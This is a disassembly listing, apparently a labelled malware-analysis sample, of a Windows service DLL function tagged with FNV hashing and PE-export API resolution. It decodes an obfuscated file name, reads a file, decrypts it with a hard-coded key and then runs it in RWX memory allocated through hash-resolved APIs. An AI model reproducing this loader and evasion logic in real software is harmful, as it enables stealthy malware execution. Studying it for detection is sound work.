Function at 0x180002230
Capabilities:
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r12
push rbp
push r14
push r15
lea rbp, [rax - 0x178]
sub rsp, 0x260
movaps xmmword [rax - 0x28], xmm6
movaps xmmword [rax - 0x38], xmm7
movaps xmmword [rax - 0x48], xmm8
mov rax, qword [0x180037060]
xor rax, rsp
mov qword [rbp + 0x128], rax
mov r14d, 4
mov dword [0x1800398cc], r14d
lea rdx, [0x1800398c8]
mov rcx, qword [0x1800398c0]
call qword [sym.imp.ADVAPI32.dll_SetServiceStatus]
xor r9d, r9d
xor r8d, r8d
lea edx, [r14 - 3]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [0x1800398b8], rax
xor edx, edx
mov r8d, 0x110
lea rcx, [rbp - 0x50]
call fcn.180009350
movups xmm0, xmmword [str.u_rdiHT_O_R]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [0x180032610]
movups xmmword [rbp - 0x80], xmm1
mov eax, dword [str.x39_Z]
mov dword [rbp - 0x70], eax
movzx eax, byte [0x180032624]
mov byte [rbp - 0x6c], al
xor r12d, r12d
mov r8d, r12d
cmp dword [0x180037070], 2
jl 0x180002447
movdqa xmm5, xmmword [0x180032630]
movdqa xmm4, xmmword [0x180032670]
movd xmm6, r14d
movdqa xmm7, xmmword [str.6666]
mov eax, 0x1f
movd xmm8, eax
movdqa xmm0, xmmword [str.6666666666666666]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rsp + 0x74]
mov edx, dword [rsp + 0x30]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x180032650]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x180032650]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x180002340
cmp r8d, 0x25
jge 0x180002492
movsxd rax, r8d
lea r9, [rsp + 0x70]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x36
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x25
jl 0x180002460
lea rdx, [rsp + 0x70]
lea rcx, [rbp - 0x50]
call fcn.180003d40
nop
mov rax, qword [rbp - 0x50]
movsxd rcx, dword [rax + 4]
test byte [rbp + rcx - 0x40], 6
jne 0x180002ced
mov r8d, 2
lea rcx, [rbp - 0x50]
call fcn.180003ff0
lea rax, [rbp - 0x50]
mov qword [rsp + 0x30], rax
mov rax, qword [rbp - 0x50]
movsxd rcx, dword [rax + 4]
mov rcx, qword [rbp + rcx - 8]
test rcx, rcx
je 0x1800024e5
mov rax, qword [rcx]
call qword [rax + 8]
nop
lea rcx, [rbp - 0x50]
call fcn.1800048f0
mov byte [rsp + 0x38], al
mov rax, qword [rbp - 0x50]
movsxd rcx, dword [rax + 4]
test byte [rbp + rcx - 0x40], 6
jne 0x180002534
mov rcx, qword [rbp + rcx - 8]
mov rax, qword [rcx]
mov dword [rsp + 0x20], 1
mov r9d, 1
xor r8d, r8d
lea rdx, [rbp + 0x110]
call qword [rax + 0x50]
nop
mov rax, qword [rbp - 0x50]
movsxd rcx, dword [rax + 4]
mov rcx, qword [rbp + rcx - 8]
jmp 0x180002552
mov qword [rbp + 0x110], 0xffffffffffffffff
xorps xmm0, xmm0
movups xmmword [rbp + 0x118], xmm0
movsxd rax, dword [rax + 4]
mov rcx, qword [rbp + rax - 8]
test rcx, rcx
je 0x18000255e
mov rax, qword [rcx]
call qword [rax + 0x10]
nop
xor r8d, r8d
lea rcx, [rbp - 0x50]
call fcn.180003ff0
xorps xmm0, xmm0
mov rax, qword [rbp + 0x118]
mov rcx, qword [rbp + 0x110]
lea rdi, [rax + rcx]
movdqu xmmword [rbp + 0xc0], xmm0
mov qword [rbp + 0xd0], r12
test rdi, rdi
je 0x18000261b
movabs rax, 0x7fffffffffffffff
cmp rdi, rax
ja 0x180002dd1
cmp rdi, 0x1000
jb 0x1800025df
lea rcx, [rdi + 0x27]
cmp rcx, rdi
jbe 0x180002dd7
call fcn.180006cac
mov rcx, rax
test rax, rax
je 0x180002dcb
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x1800025e7
mov rcx, rdi
call fcn.180006cac
mov qword [rbp + 0xc0], rax
lea rbx, [rax + rdi]
mov qword [rbp + 0xd0], rbx
mov r8, rdi
xor edx, edx
mov rcx, rax
call fcn.180009350
mov qword [rbp + 0xc8], rbx
mov rax, qword [rbp + 0x118]
mov rcx, qword [rbp + 0x110]
lea r8, [rax + rcx]
mov rdx, qword [rbp + 0xc0]
lea rcx, [rbp - 0x50]
call fcn.180004130
lea rcx, [rbp - 0x40]
call fcn.180004730
test rax, rax
jne 0x18000265a
mov rax, qword [rbp - 0x50]
movsxd rcx, dword [rax + 4]
lea rax, [rbp - 0x50]
add rcx, rax
mov edx, dword [rcx + 0x10]
or edx, 2
xor r8d, r8d
call fcn.180004830
xorps xmm0, xmm0
mov dword [rsp + 0x30], 0x40a3b2ff
mov dword [rsp + 0x34], 0x9a874c6
mov dword [rsp + 0x38], 0x997b5f26
mov dword [rsp + 0x3c], 0xdead2c5b
movdqu xmmword [rbp + 0xd8], xmm0
mov qword [rbp + 0xe8], r12
mov ecx, 0x10
call fcn.180006cac
mov qword [rbp + 0xd8], rax
mov qword [rbp + 0xe0], rax
lea rsi, [rax + 0x10]
mov qword [rbp + 0xe8], rsi
mov r8d, 0x10
lea rdx, [rsp + 0x30]
mov rcx, rax
call fcn.180008c00
mov qword [rbp + 0xe0], rsi
mov dword [rbp + 0xf0], r14d
mov dword [rbp + 0xf4], 0xa
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xf8], xmm0
mov qword [rbp + 0x108], rax
lea rax, [rsp + 0x40]
mov qword [rbp - 0x68], rax
movdqu xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], r12
mov r14, qword [rbp + 0xd8]
cmp r14, rsi
je 0x180002787
mov rdi, rsi
sub rdi, r14
cmp rdi, 0x1000
jb 0x180002745
lea rcx, [rdi + 0x27]
cmp rcx, rdi
jbe 0x180002ddd
call fcn.180006cac
test rax, rax
je 0x180002de3
lea rbx, [rax + 0x27]
and rbx, 0xffffffffffffffe0
mov qword [rbx - 8], rax
jmp 0x18000275a
test rdi, rdi
je 0x180002757
mov rcx, rdi
call fcn.180006cac
mov rbx, rax
jmp 0x18000275a
mov rbx, r12
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x48], rbx
lea rax, [rbx + rdi]
mov qword [rsp + 0x50], rax
mov r8, rdi
mov rdx, r14
mov rcx, rbx
call fcn.180008c00
sub rsi, r14
lea rax, [rsi + rbx]
mov qword [rsp + 0x48], rax
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x58], xmm0
mov qword [rsp + 0x68], r12
mov rsi, qword [rbp + 0xc0]
mov r14, qword [rbp + 0xc8]
cmp rsi, r14
je 0x180002822
mov rdi, r14
sub rdi, rsi
cmp rdi, 0x1000
jb 0x1800027e0
lea rcx, [rdi + 0x27]
cmp rcx, rdi
jbe 0x180002de9
call fcn.180006cac
test rax, rax
je 0x180002def
lea rbx, [rax + 0x27]
and rbx, 0xffffffffffffffe0
mov qword [rbx - 8], rax
jmp 0x1800027f5
test rdi, rdi
je 0x1800027f2
mov rcx, rdi
call fcn.180006cac
mov rbx, rax
jmp 0x1800027f5
mov rbx, r12
mov qword [rsp + 0x58], rbx
mov qword [rsp + 0x60], rbx
lea rax, [rbx + rdi]
mov qword [rsp + 0x68], rax
mov r8, rdi
mov rdx, rsi
mov rcx, rbx
call fcn.180008c00
sub rbx, rsi
lea rax, [rbx + r14]
mov qword [rsp + 0x60], rax
lea r9, [rsp + 0x40]
lea r8, [rsp + 0x58]
lea rdx, [rbp + 0xf8]
lea rcx, [rbp + 0xf0]
call fcn.1800017a0
nop
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1800028d6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1800028d6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov ecx, dword [rcx + r10]
add rcx, r10
mov r8d, 0x5aedff4c
movzx edx, byte [rcx]
inc rcx
test dl, dl
je 0x1800028d1
nop
movsx edx, dl
xor edx, r8d
imul r8d, edx, 0x1000193
movzx edx, byte [rcx]
lea rcx, [rcx + 1]
test dl, dl
jne 0x1800028b0
cmp r8d, 0x8bbe36b2
je 0x1800028db
test r9d, r9d
jne 0x180002890
mov rax, qword [rax]
jmp 0x180002860
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov ecx, dword [rcx + rax*4]
add rcx, r10
call rcx
mov r15, rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x180002986
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x180002986
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r11]
add rdx, r11
mov r8d, 0x63d84728
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x180002981
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x180002960
cmp r8d, 0x309b6348
je 0x18000298b
test r9d, r9d
jne 0x180002940
mov rax, qword [rax]
jmp 0x180002910
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
mov edx, 0x64000
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x3000
call r10
mov r14, rax
mov rsi, qword [rbp + 0x100]
sub rsi, qword [rbp + 0xf8]
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x180002a56
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x180002a56
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r11]
add rdx, r11
mov r8d, 0xdcd5340c
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x180002a51
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x180002a30
cmp r8d, 0xc78cb753
je 0x180002a5b
test r9d, r9d
jne 0x180002a10
mov rax, qword [rax]
jmp 0x1800029e0
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
mov qword [rsp + 0x20], r12
mov r9, rsi
mov r8, qword [rbp + 0xf8]
mov rdx, r14
mov rcx, r15
call r10
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x180002b16
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x180002b16
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r11 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r11
mov r8d, 0xf81753b1
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x180002b11
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x180002af0
cmp r8d, 0x8e971bc5
je 0x180002b1b
test r9d, r9d
jne 0x180002ad0
mov rax, qword [rax]
jmp 0x180002aa0
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
mov qword [rsp + 0x28], r12
mov dword [rsp + 0x20], r12d
xor r9d, r9d
mov r8, r14
xor edx, edx
xor ecx, ecx
call r10
mov edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x180002be6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x180002be6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0xfd1bd8be
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x180002be1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x180002bc0
cmp r8d, 0x915acd34
je 0x180002beb
test r9d, r9d
jne 0x180002ba0
mov rax, qword [rax]
jmp 0x180002b70
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov rcx, r15
call rdx
nop
mov rcx, qword [rbp + 0xf8]
test rcx, rcx
je 0x180002c49
mov rdx, qword [rbp + 0x108]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180002c43
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180002df5
call fcn.180006c78
nop
mov rcx, qword [rbp + 0xd8]
test rcx, rcx
je 0x180002c9b
mov rdx, qword [rbp + 0xe8]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180002c84
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180002dfb
call fcn.180006c78
xorps xmm0, xmm0
movdqu xmmword [rbp + 0xd8], xmm0
mov qword [rbp + 0xe8], r12
mov rcx, qword [rbp + 0xc0]
test rcx, rcx
je 0x180002ced
mov rdx, qword [rbp + 0xd0]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180002cd6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180002dcb
call fcn.180006c78
xorps xmm0, xmm0
movdqu xmmword [rbp + 0xc0], xmm0
mov qword [rbp + 0xd0], r12
mov edx, 0xffffffff
mov rcx, qword [0x1800398b8]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [0x1800398cc], 1
lea rdx, [0x1800398c8]
mov rcx, qword [0x1800398c0]
call qword [sym.imp.ADVAPI32.dll_SetServiceStatus]
nop
mov rax, qword [rbp - 0x50]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x50], rax
mov rax, qword [rbp - 0x50]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx - 0x54], edx
lea rcx, [rbp - 0x40]
call fcn.180003a80
mov rax, qword [rbp - 0x50]
movsxd rcx, dword [rax + 4]
lea rdx, vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x50], rdx
mov rcx, qword [rbp - 0x50]
movsxd rdx, dword [rcx + 4]
lea r8d, [rdx - 0x18]
mov dword [rbp + rdx - 0x54], r8d
lea rcx, vtable.std::ios_base.0
mov qword [rbp + 0x60], rcx
lea rcx, [rbp + 0x60]
call fcn.180005e08
nop
mov eax, 1
mov rcx, qword [rbp + 0x128]
xor rcx, rsp
call fcn.180006c50
lea r11, [rsp + 0x260]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
call fcn.18000d1fc
nop
call fcn.180001d10
int3
call fcn.180001ec0
nop
call fcn.180001ec0
int3
call fcn.18000d1fc
nop
call fcn.180001ec0
int3
call fcn.18000d1fc
nop
call fcn.18000d1fc
nop
call fcn.18000d1fc
int3
sub rsp, 0x28
xor eax, eax
mov dword [0x1800398c8], 0x20
lea rdx, [0x1800021e0]
mov dword [0x1800398d8], eax
lea rcx, str.appsvc
mov qword [0x1800398cc], 2
call qword [sym.imp.ADVAPI32.dll_RegisterServiceCtrlHandlerW]
mov qword [0x1800398c0], rax
test rax, rax
je 0x180002efa
add rsp, 0x28
jmp 0x180002230
add rsp, 0x28
ret